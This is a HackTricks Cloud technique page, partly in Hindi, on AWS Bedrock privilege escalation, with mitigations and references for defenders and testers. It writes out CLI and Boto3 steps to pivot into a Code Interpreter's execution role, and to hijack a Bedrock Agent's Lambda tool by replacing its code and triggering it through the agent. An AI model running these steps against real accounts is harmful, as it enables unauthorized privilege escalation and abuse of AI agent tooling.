AWS - Bedrock PrivEsc
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
Amazon Bedrock AgentCore
bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter एक managed execution environment है। Custom Code Interpreters को एक executionRoleArn के साथ configure किया जा सकता है, जो “code interpreter को AWS services access करने के लिए permissions प्रदान करता है”।
अगर कोई lower-privileged IAM principal किसी ऐसे Code Interpreter session को start + invoke कर सकता है जो more privileged execution role के साथ configured है, तो caller effectively execution role की permissions में pivot कर सकता है (role scope के अनुसार lateral movement / privilege escalation)।
Note
यह आमतौर पर misconfiguration / excessive permissions issue होता है (interpreter execution role को बहुत wide permissions देना और/या broad invoke access देना)। AWS स्पष्ट रूप से warning देता है कि privilege escalation से बचने के लिए सुनिश्चित करें कि execution roles के पास उन identities की तुलना में equal या fewer privileges हों जिन्हें invoke करने की अनुमति है।
Preconditions (common misconfiguration)
- एक custom code interpreter मौजूद है जिसके पास over-privileged execution role है (जैसे sensitive S3/Secrets/SSM या IAM-admin-like capabilities तक access)।
- किसी user (developer/auditor/CI identity) के पास यह करने की permissions हैं:
- sessions start करना:
bedrock-agentcore:StartCodeInterpreterSession - tools invoke करना:
bedrock-agentcore:InvokeCodeInterpreter - (Optional) user interpreters भी create कर सकता है:
bedrock-agentcore:CreateCodeInterpreter(इससे वे org guardrails के अनुसार execution role के साथ configured नया interpreter बना सकते हैं)।
Recon (identify custom interpreters and execution role usage)
Interpreters (control-plane) की list बनाएं और उनकी configuration inspect करें:
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
create-code-interpreter कमांड
--execution-role-arnको सपोर्ट करता है जो यह परिभाषित करता है कि interpreter के पास कौन-सी AWS permissions होंगी।
चरण 1 - एक session शुरू करें (यह एक sessionId लौटाता है, interactive shell नहीं)
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
चरण 2 - Invoke code execution (Boto3 or signed HTTPS)
start-code-interpreter-session से कोई interactive python shell नहीं मिलता। Execution InvokeCodeInterpreter के जरिए होता है।
Option A - Boto3 example (execute Python + verify identity):
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
यदि interpreter को एक execution role के साथ configured किया गया है, तो sts:GetCallerIdentity() का output उस role की identity को reflect करना चाहिए (low-priv caller की नहीं), जिससे pivot साबित होता है।
Option B - Signed HTTPS call (awscurl):
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
Impact
- Lateral movement into whatever AWS access the interpreter execution role has.
- Privilege escalation if the interpreter execution role is more privileged than the caller.
- Harder detection if CloudTrail data events for interpreter invocations are not enabled (invocations may not be logged by default, depending on configuration).
Mitigations / Hardening
- Least privilege on the interpreter
executionRoleArn(treat it like Lambda execution roles / CI roles). - Restrict who can invoke (
bedrock-agentcore:InvokeCodeInterpreter) and who can start sessions. - Use SCPs to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
- Enable appropriate CloudTrail data events for AgentCore where applicable; alert on unexpected invocations and session creation.
Amazon Bedrock Agents
lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda
Bedrock Agents Lambda-backed action groups को tools (external execution) के रूप में उपयोग कर सकते हैं। अगर कोई principal एक agent द्वारा उपयोग की जाने वाली Lambda function के code को modify कर सकता है, और फिर agent को invoke कर सकता है, तो वह Lambda execution role के तहत attacker-controlled code execute कर सकता है।
Note
यह एक cross-service trust abuse (Bedrock → Lambda) है, vulnerability नहीं। attacker सीधे Lambda को invoke नहीं कर पाएगा, लेकिन फिर भी agent के जरिए इसे trigger कर सकता है।
Preconditions (common misconfiguration)
- एक Bedrock Agent मौजूद है जिसमें एक action group backed by a Lambda function है
- attacker के पास:
lambda:UpdateFunctionCodebedrock:InvokeAgent- Lambda execution role के पास attacker से ज़्यादा broader permissions हैं
- attacker agent द्वारा उपयोग की जाने वाली Lambda की पहचान कर सकता है
Recon
Enumerate agent action groups:
aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
Lambda का निरीक्षण करें:
aws lambda get-function --function-name <FUNCTION_NAME>
Exploitation
Lambda code बदलें:
zip payload.zip lambda_function.py
aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
उदाहरण payload:
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
ट्रिगर via agent:
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"
प्रभाव
- Privilege escalation into Lambda execution role
- AWS services से Data exfiltration
- trusted agent execution के माध्यम से Cross-service abuse
Mitigations
lambda:UpdateFunctionCodeको Restrict करें- least-privilege Lambda roles का उपयोग करें
- Lambda code changes को Monitor करें
- Bedrock agent tool usage का Audit करें
References
- Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)
- Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)
- AWS CLI: create-code-interpreter (
--execution-role-arn) - AWS CLI: start-code-interpreter-session (returns
sessionId) - AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)
- AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)
- SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
HackTricks Cloud

